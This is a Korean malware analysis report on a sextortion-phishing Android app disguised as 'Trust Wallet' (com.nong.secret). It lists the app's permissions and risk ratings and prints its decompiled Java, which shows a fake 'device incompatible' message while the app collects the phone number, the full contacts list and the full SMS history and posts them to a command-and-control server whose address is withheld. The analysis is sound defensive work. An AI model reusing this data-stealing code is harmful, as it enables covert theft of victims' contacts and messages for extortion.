팀카시아_몸캠피싱 악성앱 분석 보고서 [트러스트 월렛]

소속

성명

직급

업무

연락처

이메일

팀카시아

비공개

비공개

악성 앱 분석

비공개

비공개

구분

수행원

환경

IP

진단 위치

PC

비공개

Windows 11, OSX Ventura

비공개

VPN

No

구분

대상 명

패키지 명

플랫폼

비고

1

모바일

09092605fmlu.apk

com.nong.secret

Android

-

No

MD5 해시

1

03232f8b94706fe2d9ee63f0a5afaad8

위험도

주요 내용

등급

5

가용성에 직접적인 영향

중요 정보(연락처, 사진 등) 노출

단말 제어 권한 획득으로 임의 조작 가능

상

(High)

4

사용자 권한 획득

다른 동작과 연계될 경우 가용성에 직접적인 영향

다른 동작과 연계될 경우 단말기 관리자 권한 획득 등

3

다른 동작과 연계될 경우 시스템 사용자 또는 앱 사용자 권한 획득 등

다른 동작과 연계될 경우 중요 정보 유출 가능성 있음

가용성에 간접적인 영향 등

중

(Medium)

2

추가적인 공격에 활용 가능한 단말 및 사용자 정보 유출

다른 동작과 연계될 경우 가용성에 간접적인 영향 등

하

(Low)

1

공격과 직접적인 연관은 없으나 불필요한 정보 등이 공격자 서버에 유출

단말기에 관한 일반 정보 유출 등

대상

순번

악성행위 분석

위험도

트러스트 월렛

(com.nong.secret)

1

연락처 목록 전체 유출

5

2

문자(SMS) 기록 전체 유출

5

3

단말 전화번호 유출

3

No

요청 권한

권한 설명

중요 권한 여부

1

android.hardware.telephony

전화 기능 포함 단말만 실행

N

2

android.permission.INTERNET

인터넷 접근

N

3

android.permission.READ_SMS

문자(SMS) 읽기

Y

4

android.permission.READ_CONTACTS

연락처 읽기

Y

5

android.permission.READ_PHONE_STATE

단말 전화번호 읽기

Y

6

com.nong.secret.DYNAMIC_RECEIVER_NOT

EXPORTEDPERMISSION

개발자 임의 생성 권한

-

No

액티비티

비고

1

com.nong.secret.MainActivity

메인 액티비티

2

com.nong.secret.MainActivity$$ExternalSyntheticLambda0

-

3

com.nong.secret.Api.myAddressBook

연락처 수집

4

com.nong.secret.Api.myDevice

단말 정보 수집

5

com.nong.secret.Api.mySms

문자 정보 수집

No

서비스

비고

1

(선언된 서비스 없음)

-

// onCreate() 함수

@Override // androidx.fragment.app.FragmentActivity

protected void onCreate(Bundle bundle0) {

super.onCreate(bundle0);

this.setContentView(layout.activity_main);

PackageManager packageManager0 = this.getPackageManager();

String[] arr_s = this.permissions;

PermissionInfo permissionInfo0 = null;

for(int v = 0; v < arr_s.length; ++v) {

String s = arr_s[v];

try {

permissionInfo0 = packageManager0.getPermissionInfo(s, 0);

}

catch(PackageManager.NameNotFoundException packageManager$NameNotFoundException0) {

packageManager$NameNotFoundException0.printStackTrace();

}

permissionInfo0.loadLabel(packageManager0);

if(ContextCompat.checkSelfPermission(this, s) != 0 && !ActivityCompat.shouldShowRequestPermissionRationale(this, s)) {

ActivityCompat.requestPermissions(this, this.permissions, 1000);

}

}

((Button)this.findViewById(id.button)).setOnClickListener((View view0) -> {

if(this.checkPermissionAllGranted(this.permissions)) {

this.showProgressDialog("", "기기가 이 버전과 호환되지 않습니다.");

new getInfoData(this).start();

return;

}

Toast.makeText(this, "해당 권한을 허용해주세요!", 1).show();

this.openSetting();

});

}

권한명

설명

비고

android.permission.READ_PHONE_STATE

단말 전화번호 획득 가능 권한

-

android.permission.READ_CONTACTS

연락처 목록 접근 권한

-

android.permission.READ_SMS

문자(SMS) 접근 권한

-

// onCreate() 함수

((Button)this.findViewById(id.button)).setOnClickListener((View view0) -> {

if(this.checkPermissionAllGranted(this.permissions)) {

this.showProgressDialog("", "기기가 이 버전과 호환되지 않습니다.");

new getInfoData(this).start();

return;

}

// com.nong.secret.MainActivity.class

class getInfoData extends Thread {

@Override

public void run() {

MainActivity.this.getDeviceInfo();

MainActivity.this.getAddressBook();

MainActivity.this.getSms();

String s = Tool.toJsonString(MainActivity.this.myDevice);

MainActivity.this.postData(s, 5);

String s1 = Tool.toJsonString(MainActivity.this.myAddressBook);

MainActivity.this.postData(s1, 6);

String s2 = Tool.toJsonString(MainActivity.this.mySms);

MainActivity.this.postData(s2, 7);

}

}

함수명

악성 행위

과정 상세

this.getDeviceInfo()

단말 전화번호 정보 등 수집

Step 3.

this.getAddressBook()

연락처 목록 접근 및 수집

Step 4.

this.getSms()

문자(SMS) 송수신 내역 접근 및 수집

Step 5.

// com.nong.secret.MainActivity.class

private void getDeviceInfo() {

String s = Settings.Secure.getString(this.getContentResolver(), "android_id");

this.myDevice.setAid(s);

this.myDevice.setType(1);

com.nong.secret.Api.myDevice.ContentBean myDevice$ContentBean0 = new com.nong.secret.Api.myDevice.ContentBean();

this.myDevice.setContent(myDevice$ContentBean0);

myDevice$ContentBean0.setModel(Build.MANUFACTURER + "-" + Build.MODEL);

myDevice$ContentBean0.setSimState(((TelephonyManager)this.getSystemService("phone")).getSimState() + "");

myDevice$ContentBean0.setTel(((TelephonyManager)this.getSystemService("phone")).getLine1Number());

}

함수명

수집 정보

Build.MANUFACTURER

단말 제조사

Build.MODEL

단말 모델명

getSimState()

SIM 카드 상태(통화 가능 여부)

getLine1Number()

단말 전화번호

// com.nong.secret.MainActivity.class

private void getAddressBook() {

this.myAddressBook.setAid(this.myDevice.getAid());

this.myAddressBook.setType(2);

List list0 = myAddressBook.getContacts(this);

this.myAddressBook.setContent(list0);

for(Object object0: list0) {

String s = Pattern.compile("[\n`~!@#$%^&*()+=|{}\':;\',\\[\\].<>/?~！@#￥%……&*（）——+|{}【】‘；：”“’。， 、？]").matcher(((ContentBean)object0).getPhone()).replaceAll("").trim();

String s1 = Pattern.compile("[^(0-9)]").matcher(s).replaceAll("").trim();

String s2 = ((ContentBean)object0).getName();

this.phoneMap.put(s1, s2);

}

}

// com.nong.secret.MainActivity.class

private void getSms() {

this.mySms.setAid(this.myDevice.getAid());

this.mySms.setType(3);

try {

Uri uri0 = Uri.parse("content://sms/");

Cursor cursor0 = this.getContentResolver().query(uri0, new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");

if(cursor0 != null) {

while(cursor0.moveToNext()) {

com.nong.secret.Api.mySms.ContentBean mySms$ContentBean0 = new com.nong.secret.Api.mySms.ContentBean();

String s = cursor0.getString(cursor0.getColumnIndex("type"));

String s1 = cursor0.getString(cursor0.getColumnIndex("address"));

String s2 = (String)this.phoneMap.get(s1);

if(s2 == null) {

s2 = "No name";

}

String s3 = cursor0.getString(cursor0.getColumnIndex("body"));

String s4 = cursor0.getString(cursor0.getColumnIndex("date"));

mySms$ContentBean0.setDate(new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(s4))));

mySms$ContentBean0.setName(s2);

mySms$ContentBean0.setPhone(s1);

mySms$ContentBean0.setSmsbody(s3);

mySms$ContentBean0.setType(s);

this.mySms.getContent().add(mySms$ContentBean0);

}

cursor0.close();

return;

}

}

catch(Exception exception0) {

exception0.printStackTrace();

return;

}

}

// com.nong.secret.MainActivity.class

class getInfoData extends Thread {

@Override

public void run() {

MainActivity.this.getDeviceInfo(); //Step 3. 분석완료

MainActivity.this.getAddressBook(); //Step 4. 분석완료

MainActivity.this.getSms(); //Step 5. 분석완료

String s = Tool.toJsonString(MainActivity.this.myDevice);

MainActivity.this.postData(s, 5);

String s1 = Tool.toJsonString(MainActivity.this.myAddressBook);

MainActivity.this.postData(s1, 6);

String s2 = Tool.toJsonString(MainActivity.this.mySms);

MainActivity.this.postData(s2, 7);

}

}

// com.nong.secret.MainActivity.class

private void postData(String s, int v) {

RequestBody requestBody0 = RequestBody.create(MainActivity.JSON, s);

Request request0 = new Builder().url("https://비공개").post(requestBody0).build();

Call call0 = new OkHttpClient().newCall(request0);

try {

Response response0 = this.client.newCall(request0).execute();

if(response0 != null) {

response0.close();

}

}

catch(IOException iOException0) {

iOException0.printStackTrace();

}

call0.enqueue(new Callback() {

@Override // okhttp3.Callback

public void onFailure(Call call0, IOException iOException0) {

}

@Override // okhttp3.Callback

public void onResponse(Call call0, Response response0) throws IOException {

}

});

}

C&C 도메인(주소)

국가/지역

비공개

IP: 비공개

국가: 대한민국